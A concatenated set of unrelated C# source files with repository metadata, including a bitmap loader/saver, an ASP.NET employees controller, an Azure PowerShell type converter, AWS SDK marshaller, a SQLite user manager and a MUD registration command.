throw new Exception("Number of planes is not 1! Can not read file!");
}
//now reading size of bits per pixel (1, 4, 8, 24, 32) - bytes 28 - 30
stream.Read(_short, 0, 2);
ushort pixelSize = BitConverter.ToUInt16(_short, 0);
//TODO: Be able to handle other pixel sizes
if (!(pixelSize == 32 || pixelSize == 24))
{
throw new NotImplementedException("Can only handle 32bit or 24bit bitmaps!");
}
//now reading compression type - bytes 30 -> 34
stream.Read(_int, 0, 4);
uint compression = BitConverter.ToUInt32(_int, 0);
//TODO: Be able to handle compressed files
if (compression != 0 && compression != 3) //3 is BI_BITFIELDS again ignore for now is for Adobe Images
{
//Global.mDebugger.Send("Can only handle uncompressed files!");
throw new NotImplementedException("Can only handle uncompressed files!");
}
//now reading total image data size(including padding) - bytes 34 -> 38
stream.Read(_int, 0, 4);
uint totalImageSize = BitConverter.ToUInt32(_int, 0);
if (totalImageSize == 0)
{
totalImageSize = (uint)((((imageWidth * pixelSize) + 31) & ~31) >> 3) * imageHeight; // Look at the link above for the explanation
Global.mDebugger.SendInternal("Calcualted image size: " + totalImageSize);
}
#endregion BMP Header
//Set the bitmap to have the correct values
Width = imageWidth;
Height = imageHeight;
Depth = (ColorDepth)pixelSize;
Global.mDebugger.SendInternal("Width: " + Width);
Global.mDebugger.SendInternal("Height: " + Height);
Global.mDebugger.SendInternal("Depth: " + pixelSize);
rawData = new int[Width * Height];
#region Pixel Table
//Calculate padding
int paddingPerRow;
int pureImageSize = (int)(imageWidth * imageHeight * pixelSize / 8);
if (totalImageSize != 0)
{
int remainder = (int)totalImageSize - pureImageSize;
if (remainder < 0)
{
throw new Exception("Total Image Size is smaller than pure image size");
}
paddingPerRow = remainder / (int)imageHeight;
pureImageSize = (int)totalImageSize;
}
else
{
//total image size is 0 if it is not compressed
paddingPerRow = 0;
}
//Read data
stream.Position = (int)pixelTableOffset;
int position = 0;
Byte[] pixelData = new byte[pureImageSize];
stream.Read(pixelData, 0, pureImageSize);
Byte[] pixel = new byte[4]; //All must have the same size
for (int y = 0; y < imageHeight; y++)
{
for (int x = 0; x < imageWidth; x++)
{
if (pixelSize == 32)
{
pixel[0] = pixelData[position++];
pixel[1] = pixelData[position++];
pixel[2] = pixelData[position++];
pixel[3] = pixelData[position++];
}
else
{
if(colorOrder == ColorOrder.BGR)
{
pixel[3] = pixelData[position++];
pixel[2] = pixelData[position++];
pixel[1] = pixelData[position++];
pixel[0] = 0;
}
else
{
pixel[0] = pixelData[position++];
pixel[1] = pixelData[position++];
pixel[2] = pixelData[position++];
pixel[3] = 0;
}
}
rawData[x + (imageHeight - (y + 1)) * imageWidth] = BitConverter.ToInt32(pixel, 0); //This bits should be A, R, G, B but order is switched
}
position += paddingPerRow;
}
#endregion Pixel Table
}
/// <summary>
/// Save image as bmp file.
/// </summary>
/// <param name="path">Path to the file.</param>
/// <exception cref="ArgumentNullException">Thrown on memory error.</exception>
/// <exception cref="RankException">Thrown on fatal error (contact support).</exception>
/// <exception cref="ArrayTypeMismatchException">Thrown on fatal error (contact support).</exception>
/// <exception cref="InvalidCastException">Thrown on fatal error (contact support).</exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown on memory error.</exception>
/// <exception cref="ArgumentException">Thrown on memory error.</exception>
/// <exception cref="OverflowException">Thrown on memory error.</exception>
/// <exception cref="IOException">Thrown on IO error.</exception>
/// <exception cref="NotSupportedException">Thrown on fatal error (contact support).</exception>
/// <exception cref="ObjectDisposedException">Thrown on fatal error (contact support).</exception>
public void Save(string path)
{
using (FileStream fs = File.Open(path, FileMode.Create))
{
Save(fs, ImageFormat.bmp);
}
}
/// <summary>
/// Save image to stream.
/// </summary>
/// <param name="stream">Stream.</param>
/// <param name="imageFormat">Image format.</param>
/// <exception cref="ArgumentNullException">Thrown on memory error.</exception>
/// <exception cref="RankException">Thrown on fatal error (contact support).</exception>
/// <exception cref="ArrayTypeMismatchException">Thrown on fatal error (contact support).</exception>
/// <exception cref="InvalidCastException">Thrown on fatal error (contact support).</exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown on memory error.</exception>
/// <exception cref="ArgumentException">Thrown on memory error.</exception>
/// <exception cref="OverflowException">Thrown on memory error.</exception>
/// <exception cref="IOException">Thrown on IO error.</exception>
/// <exception cref="NotSupportedException">Thrown if the stream does not support writing.</exception>
/// <exception cref="ObjectDisposedException">Thrown if the stream is closed.</exception>
public void Save(Stream stream, ImageFormat imageFormat)
{
//Calculate padding
int padding = 4 - (((int)Width * (int)Depth) % 32) / 8;
if (padding == 4)
{
padding = 0;
}
Byte[] file = new Byte[54 /*header*/ + Width * Height * (uint)Depth / 8 + padding * Height];
//Writes all bytes at the end into the stream, rather than a few every time
int position = 0;
//Set signature
byte[] data = BitConverter.GetBytes(0x4D42);
Array.Copy(data, 0, file, position, 2);
position += 2;
//Write apporiximate file size
data = BitConverter.GetBytes(54 /*header*/ + Width * Height * (uint)Depth / 8 /*assume that it is full bytes */);
Array.Copy(data, 0, file, position, 4);
position += 4;
//Leave bytes 6 -> 10 empty
data = new Byte[] { 0, 0, 0, 0 };
Array.Copy(data, 0, file, position, 4);
position += 4;
//Offset to start of image data
uint offset = 54;
data = BitConverter.GetBytes(offset);
Array.Copy(data, 0, file, position, 4);
position += 4;
//Write size of bitmapinfoheader
data = BitConverter.GetBytes(40);
Array.Copy(data, 0, file, position, 4);
position += 4;
//Width in pixels
data = BitConverter.GetBytes(Width);
Array.Copy(data, 0, file, position, 4);
position += 4;
//Height in pixels
data = BitConverter.GetBytes(Height);
Array.Copy(data, 0, file, position, 4);
position += 4;
//Number of planes(1)
data = BitConverter.GetBytes(1);
Array.Copy(data, 0, file, position, 2);
position += 2;
//Bits per pixel
data = BitConverter.GetBytes((int)Depth);
Array.Copy(data, 0, file, position, 2);
position += 2;
//Compression type
data = BitConverter.GetBytes(0);
Array.Copy(data, 0, file, position, 4);
position += 4;
//Size of image data in bytes
data = BitConverter.GetBytes(Width * Height * (uint)Depth / 8);
Array.Copy(data, 0, file, position, 4);
position += 4;
//Horizontal resolution in meters (is not accurate)
data = BitConverter.GetBytes(Width / 40);
Array.Copy(data, 0, file, position, 4);
position += 4;
//Vertical resolution in meters (is not accurate)
data = BitConverter.GetBytes(Height / 40);
Array.Copy(data, 0, file, position, 0);
position += 4;
//Number of colors in image /zero
data = BitConverter.GetBytes(0);
Array.Copy(data, 0, file, position, 0);
position += 4;
//number of important colors in image / zero
data = BitConverter.GetBytes(0);
Array.Copy(data, 0, file, position, 4);
position += 4;
//Finished header
//Copy image data
position = (int)offset;
int byteNum = (int)Depth / 8;
byte[] imageData = new byte[Width * Height * byteNum + padding * Height];
int imageDataPoint = 0;
int cOffset = 4 - (int)Depth / 8;
for (int y = 0; y < Height; y++)
{
for (int x = 0; x < Width; x++)
{
data = BitConverter.GetBytes(rawData[x + (Height - (y + 1)) * Width]);
for (int i = 0; i < byteNum; i++)
{
imageData[imageDataPoint++] = data[i + cOffset];
}
}
imageDataPoint += padding;
}
Array.Copy(imageData, 0, file, position, imageData.Length);
stream.Write(file, 0, file.Length);
}
}
}
| 48.361377 | 272 | 0.562013 | [
"BSD-3-Clause"
] | AcaiBerii/Cosmos | source/Cosmos.System2/Graphics/Bitmap.cs | 25,295 | C# |
using RestauranteAPI.Models;
using RestauranteAPI.Models.Mapping;
using System;
using System.Collections.Generic;
using RestauranteAPI.Models.Dto;
namespace RestauranteAPI.Services.Injections
{
public interface IOrderService
{
OrderDto CreateOrder(Order product);
OrderDto EditOrder(OrderDto order);
OrderDto GetOrder(Guid? ID);
bool DeleteOrder(Order order);
OrderDto EditOrderStatus(Guid? orderID, int status);
}
}
| 26.166667 | 60 | 0.732484 | [
"MIT"
] | diegojmoir/IngenieriaDeSoftware-BackEnd | RestauranteAPI/RestauranteAPI/Services/Injections/IOrderService.cs | 473 | C# |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for license information.
// Code generated by Microsoft (R) AutoRest Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is regenerated.
namespace Microsoft.Azure.PowerShell.Cmdlets.KubernetesConfiguration.Models.Api20220301
{
using Microsoft.Azure.PowerShell.Cmdlets.KubernetesConfiguration.Runtime.PowerShell;
/// <summary>
/// A PowerShell PSTypeConverter to support converting to an instance of <see cref="ExtensionPropertiesAksAssignedIdentity"
/// />
/// </summary>
public partial class ExtensionPropertiesAksAssignedIdentityTypeConverter : global::System.Management.Automation.PSTypeConverter
{
/// <summary>
/// Determines if the converter can convert the <paramref name="sourceValue"/> parameter to the <paramref name="destinationType"
/// /> parameter.
/// </summary>
/// <param name="sourceValue">the <see cref="System.Object"/> to convert from</param>
/// <param name="destinationType">the <see cref="System.Type" /> to convert to</param>
/// <returns>
/// <c>true</c> if the converter can convert the <paramref name="sourceValue"/> parameter to the <paramref name="destinationType"
/// /> parameter, otherwise <c>false</c>.
/// </returns>
public override bool CanConvertFrom(object sourceValue, global::System.Type destinationType) => CanConvertFrom(sourceValue);
/// <summary>
/// Determines if the converter can convert the <paramref name="sourceValue"/> parameter to the <see cref="ExtensionPropertiesAksAssignedIdentity"/>
/// type.
/// </summary>
/// <param name="sourceValue">the <see cref="System.Object" /> instance to check if it can be converted to the <see cref="ExtensionPropertiesAksAssignedIdentity"
/// /> type.</param>
/// <returns>
/// <c>true</c> if the instance could be converted to a <see cref="ExtensionPropertiesAksAssignedIdentity" /> type, otherwise
/// <c>false</c>
/// </returns>
public static bool CanConvertFrom(dynamic sourceValue)
{
if (null == sourceValue)
{
return true;
}
global::System.Type type = sourceValue.GetType();
if (typeof(global::System.Management.Automation.PSObject).IsAssignableFrom(type))
{
// we say yest to PSObjects
return true;
}
if (typeof(global::System.Collections.IDictionary).IsAssignableFrom(type))
{
// we say yest to Hashtables/dictionaries
return true;
}
try
{
if (null != sourceValue.ToJsonString())
{
return true;
}
}
catch
{
// Not one of our objects
}
try
{
string text = sourceValue.ToString()?.Trim();
return true == text?.StartsWith("{") && true == text?.EndsWith("}") && Microsoft.Azure.PowerShell.Cmdlets.KubernetesConfiguration.Runtime.Json.JsonNode.Parse(text).Type == Microsoft.Azure.PowerShell.Cmdlets.KubernetesConfiguration.Runtime.Json.JsonType.Object;
}
catch
{
// Doesn't look like it can be treated as JSON
}
return false;
}
/// <summary>
/// Determines if the <paramref name="sourceValue" /> parameter can be converted to the <paramref name="destinationType" />
/// parameter
/// </summary>
/// <param name="sourceValue">the <see cref="System.Object"/> to convert from</param>
/// <param name="destinationType">the <see cref="System.Type" /> to convert to</param>
/// <returns>
/// <c>true</c> if the converter can convert the <paramref name="sourceValue" /> parameter to the <paramref name="destinationType"
/// /> parameter, otherwise <c>false</c>
/// </returns>
public override bool CanConvertTo(object sourceValue, global::System.Type destinationType) => false;
/// <summary>
/// Converts the <paramref name="sourceValue" /> parameter to the <paramref name="destinationType" /> parameter using <paramref
/// name="formatProvider" /> and <paramref name="ignoreCase" />
/// </summary>
/// <param name="sourceValue">the <see cref="System.Object"/> to convert from</param>
/// <param name="destinationType">the <see cref="System.Type" /> to convert to</param>
/// <param name="formatProvider">not used by this TypeConverter.</param>
/// <param name="ignoreCase">when set to <c>true</c>, will ignore the case when converting.</param>
/// <returns>
/// an instance of <see cref="ExtensionPropertiesAksAssignedIdentity" />, or <c>null</c> if there is no suitable conversion.
/// </returns>
public override object ConvertFrom(object sourceValue, global::System.Type destinationType, global::System.IFormatProvider formatProvider, bool ignoreCase) => ConvertFrom(sourceValue);
/// <summary>
/// Converts the <paramref name="sourceValue" /> parameter into an instance of <see cref="ExtensionPropertiesAksAssignedIdentity"
/// />
/// </summary>
/// <param name="sourceValue">the value to convert into an instance of <see cref="ExtensionPropertiesAksAssignedIdentity"
/// />.</param>
/// <returns>
/// an instance of <see cref="ExtensionPropertiesAksAssignedIdentity" />, or <c>null</c> if there is no suitable conversion.
/// </returns>
public static Microsoft.Azure.PowerShell.Cmdlets.KubernetesConfiguration.Models.Api20220301.IExtensionPropertiesAksAssignedIdentity ConvertFrom(dynamic sourceValue)
{
if (null == sourceValue)
{
return null;
}
global::System.Type type = sourceValue.GetType();
if (typeof(Microsoft.Azure.PowerShell.Cmdlets.KubernetesConfiguration.Models.Api20220301.IExtensionPropertiesAksAssignedIdentity).IsAssignableFrom(type))
{
return sourceValue;
}
try
{
return ExtensionPropertiesAksAssignedIdentity.FromJsonString(typeof(string) == sourceValue.GetType() ? sourceValue : sourceValue.ToJsonString());;
}
catch
{
// Unable to use JSON pattern
}
if (typeof(global::System.Management.Automation.PSObject).IsAssignableFrom(type))
{
return ExtensionPropertiesAksAssignedIdentity.DeserializeFromPSObject(sourceValue);
}
if (typeof(global::System.Collections.IDictionary).IsAssignableFrom(type))
{
return ExtensionPropertiesAksAssignedIdentity.DeserializeFromDictionary(sourceValue);
}
return null;
}
/// <summary>NotImplemented -- this will return <c>null</c></summary>
/// <param name="sourceValue">the <see cref="System.Object"/> to convert from</param>
/// <param name="destinationType">the <see cref="System.Type" /> to convert to</param>
/// <param name="formatProvider">not used by this TypeConverter.</param>
/// <param name="ignoreCase">when set to <c>true</c>, will ignore the case when converting.</param>
/// <returns>will always return <c>null</c>.</returns>
public override object ConvertTo(object sourceValue, global::System.Type destinationType, global::System.IFormatProvider formatProvider, bool ignoreCase) => null;
}
} | 53.317881 | 277 | 0.608868 | [
"MIT"
] | AlanFlorance/azure-powershell | src/KubernetesConfiguration/generated/api/Models/Api20220301/ExtensionPropertiesAksAssignedIdentity.TypeConverter.cs | 7,901 | C# |
namespace Microsoft.Protocols.TestSuites.MS_OXWSMTGS
{
/// <summary>
/// An enumeration that describes roles of a meeting.
/// </summary>
public enum Role
{
/// <summary>
/// Represent the organizer of a meeting.
/// </summary>
Organizer,
/// <summary>
/// Represent the attendee of a meeting.
/// </summary>
Attendee,
/// <summary>
/// Represent an user that there's delegate user for him
/// </summary>
Delegate
}
} | 24.782609 | 65 | 0.505263 | [
"MIT"
] | ChangDu2021/Interop-TestSuites | ExchangeWebServices/Source/MS-OXWSMTGS/Adapter/Helper/Enums.cs | 570 | C# |
#pragma checksum "C:\Users\Nompumelelo\source\repos\Bit_Photos\Views\_ViewImports.cshtml" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "c9c71fde0eb4962a60ca3b2d96810132ea4254b9"
// <auto-generated/>
#pragma warning disable 1591
[assembly: global::Microsoft.AspNetCore.Razor.Hosting.RazorCompiledItemAttribute(typeof(AspNetCore.Views__ViewImports), @"mvc.1.0.view", @"/Views/_ViewImports.cshtml")]
namespace AspNetCore
{
#line hidden
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.Rendering;
using Microsoft.AspNetCore.Mvc.ViewFeatures;
#nullable restore
#line 1 "C:\Users\Nompumelelo\source\repos\Bit_Photos\Views\_ViewImports.cshtml"
using Bit_Photos;
#line default
#line hidden
#nullable disable
#nullable restore
#line 2 "C:\Users\Nompumelelo\source\repos\Bit_Photos\Views\_ViewImports.cshtml"
using Bit_Photos.Models;
#line default
#line hidden
#nullable disable
[global::Microsoft.AspNetCore.Razor.Hosting.RazorSourceChecksumAttribute(@"SHA1", @"c9c71fde0eb4962a60ca3b2d96810132ea4254b9", @"/Views/_ViewImports.cshtml")]
public class Views__ViewImports : global::Microsoft.AspNetCore.Mvc.Razor.RazorPage<dynamic>
{
#pragma warning disable 1998
public async override global::System.Threading.Tasks.Task ExecuteAsync()
{
}
#pragma warning restore 1998
[global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute]
public global::Microsoft.AspNetCore.Mvc.ViewFeatures.IModelExpressionProvider ModelExpressionProvider { get; private set; }
[global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute]
public global::Microsoft.AspNetCore.Mvc.IUrlHelper Url { get; private set; }
[global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute]
public global::Microsoft.AspNetCore.Mvc.IViewComponentHelper Component { get; private set; }
[global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute]
public global::Microsoft.AspNetCore.Mvc.Rendering.IJsonHelper Json { get; private set; }
[global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute]
public global::Microsoft.AspNetCore.Mvc.Rendering.IHtmlHelper<dynamic> Html { get; private set; }
}
}
#pragma warning restore 1591
| 48.06 | 173 | 0.766126 | [
"MIT"
] | Candice-hub1/Bit_Photos | obj/Debug/netcoreapp3.1/Razor/Views/_ViewImports.cshtml.g.cs | 2,403 | C# |
using Angular8_App_Part1.Models;
using Microsoft.AspNetCore.Mvc;
using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace Angular8_App_Part1.Controllers
{
[Route("/api/employees")]
public class EmployeesController : Controller
{
private readonly AppDbContext context;
public EmployeesController(AppDbContext context)
{
this.context = context;
}
[HttpGet]
public async Task<IEnumerable<Employee>> GetEmployees()
{
return await context.Employees.ToListAsync();
}
[HttpGet("{code}")]
public async Task<Employee> GetEmployee(string code)
{
return await context.Employees.FirstOrDefaultAsync(e => e.Code == code);
}
}
}
| 24.8 | 84 | 0.647465 | [
"MIT"
] | nesta-bg/Angular8-App-Part1 | Angular8-App-Part1/Controllers/EmployeesController.cs | 870 | C# |
using SqliteORM;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using wpfClient.Model;
namespace wpfClient.Manager
{
public class UserManager
{
public User GetUser(Where where)
{
using (TableAdapter<User> adapter = TableAdapter<User>.Open())
{
return adapter.Select().Where(where).FirstOrDefault();
}
}
public void Insert(User user)
{
user.Save();
}
/// <summary>
/// 获取记住密码的用户
/// </summary>
/// <returns></returns>
public User GetRememberPwdUser()
{
using (TableAdapter<User> adapter = TableAdapter<User>.Open())
{
return adapter.Select().Where(Where.Equal("IsReadPwd", true)).FirstOrDefault();
}
}
/// <summary>
/// 设置记住密码的用户
/// </summary>
/// <param name="user"></param>
public void SetRememberPwdUser(string code,string pwd, bool state)
{
using (TableAdapter<User> adapter = TableAdapter<User>.Open())
{
var user = adapter.Select().Where(Where.Equal("Code", code)).FirstOrDefault();
if (user != null)
{
adapter.ExecuteSql("update User set IsReadPwd = 'false'");
user.IsReadPwd = state;
user.Pwd = pwd;
user.Save();
}
else
{
user = new User()
{
Code = code,
CreateOn = DateTime.Now,
IsReadPwd = state,
Pwd = pwd
};
user.Save();
}
}
}
}
}
| 28.861538 | 95 | 0.445629 | [
"MIT"
] | shanghongshen001/aimeng366 | wpfClient.Manager/UserManager.cs | 1,914 | C# |
using Gem.Network.Messages;
using Gem.Network.Providers;
using Gem.Network.Repositories;
using System;
namespace Gem.Network.Managers
{
/// <summary>
/// Manager class for accessing <see cref=">Gem.Network.Providers.ClientConfigurationProvider"/>
/// by index [string,MessageType,byte]
/// </summary>
public class ClientMessageFlowManager
{
private readonly ClientConfigurationProvider configurationManager;
public ClientMessageFlowManager()
{
configurationManager = new ClientConfigurationProvider();
}
#region Get by Index
public MessageFlowArguments this[string tag,MessageType messagetype,byte configID]
{
get
{
return configurationManager[tag][messagetype][configID];
}
}
public MessageFlowInfoProvider this[string tag, MessageType messagetype]
{
get
{
return configurationManager[tag][messagetype];
}
}
public ClientMessageTypeProvider this[string tag]
{
get
{
return configurationManager[tag];
}
}
#endregion
}
}
| 24.54902 | 100 | 0.591054 | [
"MIT"
] | gmich/Gem | Gem.Network/Managers/ClientMessageFlowManager.cs | 1,254 | C# |
/*
* Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*
* Do not modify this file. This file is generated from the sagemaker-2017-07-24.normal.json service model.
*/
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Text;
using System.Xml.Serialization;
using Amazon.SageMaker.Model;
using Amazon.Runtime;
using Amazon.Runtime.Internal;
using Amazon.Runtime.Internal.Transform;
using Amazon.Runtime.Internal.Util;
using ThirdParty.Json.LitJson;
namespace Amazon.SageMaker.Model.Internal.MarshallTransformations
{
/// <summary>
/// InputConfig Marshaller
/// </summary>
public class InputConfigMarshaller : IRequestMarshaller<InputConfig, JsonMarshallerContext>
{
/// <summary>
/// Unmarshaller the response from the service to the response class.
/// </summary>
/// <param name="requestObject"></param>
/// <param name="context"></param>
/// <returns></returns>
public void Marshall(InputConfig requestObject, JsonMarshallerContext context)
{
if(requestObject.IsSetDataInputConfig())
{
context.Writer.WritePropertyName("DataInputConfig");
context.Writer.Write(requestObject.DataInputConfig);
}
if(requestObject.IsSetFramework())
{
context.Writer.WritePropertyName("Framework");
context.Writer.Write(requestObject.Framework);
}
if(requestObject.IsSetS3Uri())
{
context.Writer.WritePropertyName("S3Uri");
context.Writer.Write(requestObject.S3Uri);
}
}
/// <summary>
/// Singleton Marshaller.
/// </summary>
public readonly static InputConfigMarshaller Instance = new InputConfigMarshaller();
}
} | 32.945946 | 107 | 0.658737 | [
"Apache-2.0"
] | Bio2hazard/aws-sdk-net | sdk/src/Services/SageMaker/Generated/Model/Internal/MarshallTransformations/InputConfigMarshaller.cs | 2,438 | C# |
namespace IFPS.Sales.Domain.Model
{
public class AccessoryMaterial : Material
{
/// <summary>
/// True, if the accessory is optional for the customer
/// </summary>
public bool IsOptional { get; private set; }
/// <summary>
/// True, if the accessory is required for the assembly
/// </summary>
public bool IsRequiredForAssembly { get; private set; }
public AccessoryMaterial()
{
}
public AccessoryMaterial(bool isOptinal, bool isRequiredForAssembly, string code, int transactionMultiplier = 10) : base(code, transactionMultiplier)
{
IsOptional = isOptinal;
IsRequiredForAssembly = isRequiredForAssembly;
}
}
}
| 31.48 | 158 | 0.589581 | [
"MIT"
] | encosoftware/ifps | ButorRevolutionWebAPI/src/backend/sales/IFPS.Sales.Domain/Model/MaterialAggregate/AccessoryMaterial.cs | 789 | C# |
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace CFGShare.Properties
{
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
{
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default
{
get
{
return defaultInstance;
}
}
}
}
| 34.290323 | 151 | 0.580433 | [
"MIT"
] | gamingdoom/CFGShare | CFGShare/Properties/Settings.Designer.cs | 1,065 | C# |
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("SumOf3Numbers")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("SumOf3Numbers")]
[assembly: AssemblyCopyright("Copyright © 2015")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("a7ef2641-c1b6-400a-b3de-1ce994f4a83e")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 37.810811 | 84 | 0.745533 | [
"MIT"
] | ivannk0900/Telerik-Academy | C# 1/ConsoleInputOutput/SumOf3Numbers/Properties/AssemblyInfo.cs | 1,402 | C# |
using System;
using System.IO;
using System.Reflection;
namespace adventofcode2017
{
public class InputReader
{
readonly uint day;
readonly string path;
public InputReader(uint day)
{
this.day = day;
path = $"{Directory.GetCurrentDirectory()}/input/{day}.txt";
}
public string Read() => File.ReadAllText(path);
}
}
| 18.086957 | 72 | 0.569712 | [
"MIT"
] | Sankra/AdventOfCode2017 | 2017/adventofcode2017/InputReader.cs | 418 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Filmoteka_WPF
{
class Export
{
private readonly Filmoteka _source;
public Export(Filmoteka source)
{
_source = source;
}
public void ToXML(string exportFilename)
{
XMLFile xml = new XMLFile(exportFilename);
xml.New();
xml.Save(_source);
}
}
}
| 20.48 | 55 | 0.5625 | [
"MIT"
] | 50PSoftware/Filmoteka | Filmoteka/Export.cs | 514 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using RMUD;
namespace RMUD
{
internal class Register : CommandFactory
{
public override void Create(CommandParser Parser)
{
Parser.AddCommand(
Sequence(
KeyWord("REGISTER"),
MustMatch("You must supply a username.",
SingleWord("USERNAME"))))
.Manual("If you got this far, you know how to register.")
.ProceduralRule((match, actor) =>
{
var client = actor.GetProperty<Client>("client");
if (client is NetworkClient && (client as NetworkClient).IsLoggedOn)
{
Core.SendMessage(actor, "You are already logged in.");
return PerformResult.Stop;
}
var userName = match["USERNAME"].ToString();
actor.SetProperty("command handler", new PasswordCommandHandler(actor, Authenticate, userName));
return PerformResult.Continue;
});
}
public void Authenticate(MudObject Actor, String UserName, String Password)
{
var existingAccount = Accounts.LoadAccount(UserName);
if (existingAccount != null)
{
Core.SendMessage(Actor, "Account already exists.");
return;
}
var newAccount = Accounts.CreateAccount(UserName, Password);
if (newAccount == null)
{
Core.SendMessage(Actor, "Could not create account.");
return;
}
var client = Actor.GetProperty<Client>("client");
LoginCommandHandler.LogPlayerIn(client as NetworkClient, newAccount);
}
}
}
| 33.857143 | 116 | 0.529536 | [
"MIT"
] | Blecki/RMUDReboot | Core/Network/Register.cs | 1,898 | C# |
using System;
using FeatureSwitcher.Configuration.Specs.Contexts;
using FeatureSwitcher.Configuration.Specs.Domain;
using Machine.Specifications;
namespace FeatureSwitcher.Configuration.Specs
{
public class When_application_configuration_does_not_ignore_errors : WithCleanUp
{
Establish ctx = () => Features.Are.ConfiguredBy.AppConfig();
Because of = () => _exception = Catch.Exception(() => { var isEnabled = Feature<Simple>.Is().Enabled; });
It should_throw_a_configuration_errors_exception = () => _exception.ShouldBeOfType<System.Configuration.ConfigurationErrorsException>();
private static Exception _exception;
}
} | 37.166667 | 144 | 0.754858 | [
"Apache-2.0"
] | mexx/FeatureSwitcher.Configuration | Source/FeatureSwitcher.Configuration.Specs/When_application_configuration_does_not_ignore_errors.cs | 669 | C# |
using UnityEngine;
using System;
using TimeUnity.Controller;
namespace TimeUnity.Model
{
public enum RoomItemStatus
{
idle,
timeWaiting,
timeOver,
error,
}
public class RoomItemData
{
public string id;
public bool canUse = false;
protected RoomItemStatus _curStatus = RoomItemStatus.idle;
public RoomItemStatus status{
get{
return _curStatus;
}set{
if(_curStatus!=value){
_curStatus = value;
if(this.canUse)
onUpdateStatus(value);
}
}
}
//是否需要角色同步等待
public bool needWaiting = false;
public bool isSwitch = false;
public float timeUsing = 0;
public float timeActive = 0;
public float timeError = 0;
public string keyUse = "C";
public string descUse;
public string descClose;
public string descComplete;
public RoomItemData cloneConfig()
{
return new RoomItemData()
{
canUse = this.canUse,
status = RoomItemStatus.idle,
needWaiting = this.needWaiting,
isSwitch = this.isSwitch,
timeUsing = this.timeUsing,
timeActive = 0,
timeError = this.timeError,
keyUse = this.keyUse,
descUse = this.descUse,
descClose = this.descClose,
descComplete = this.descComplete,
};
}
public Action onUse;
public Action onPause;
public Action onComplete;
public Action<RoomItemStatus> onUpdateStatus;
public void UpdateStatus()
{
if (this.timeActive >= this.timeError && this.timeError > 0)
{
this.status = RoomItemStatus.error;
}
else if (this.timeActive >= this.timeUsing && this.timeUsing > 0)
{
this.status = RoomItemStatus.timeOver;
}
}
public void initAfter()
{
if (this.onUse == null)
{
this.onUse = () =>
{
if (this.status == RoomItemStatus.idle)
this.status = RoomItemStatus.timeWaiting;
else if (this.status == RoomItemStatus.timeWaiting)
this.status = RoomItemStatus.idle;
};
}
if(this.onComplete == null){
this.onComplete = ()=>{
//...
};
}
}
}
public class RoomItemScoreData{
public string id;
public string scoreMod;
public float scoreNotUse;
public float scoreUsing;
public float scoreComplete;
}
} | 28.72549 | 77 | 0.490785 | [
"MIT"
] | b920687vd/booomDream | TimeUnity/Assets/Scripts/Model/RoomItemData.cs | 2,950 | C# |
using LoT.Framework.Bootstrap.IBootstrap;
namespace LoT.Framework.Bootstrap.IOC
{
public interface IBootstrapContainer
{
/// <summary>
/// 按钮
/// </summary>
/// <param name="text">文本值</param>
/// <returns></returns>
IBootstrapBotton Botton(string text);
}
}
| 21.333333 | 45 | 0.58125 | [
"Apache-2.0"
] | dunitian/LoTBootstrap | LoT.Framework/Bootstrap/IOC/IBootstrapContainer.cs | 332 | C# |
// This is an open source non-commercial project. Dear PVS-Studio, please check it.
// PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com
/* ImageListFlags.cs -- image list drawing style
Ars Magna project, http://arsmagna.ru */
#region Using directives
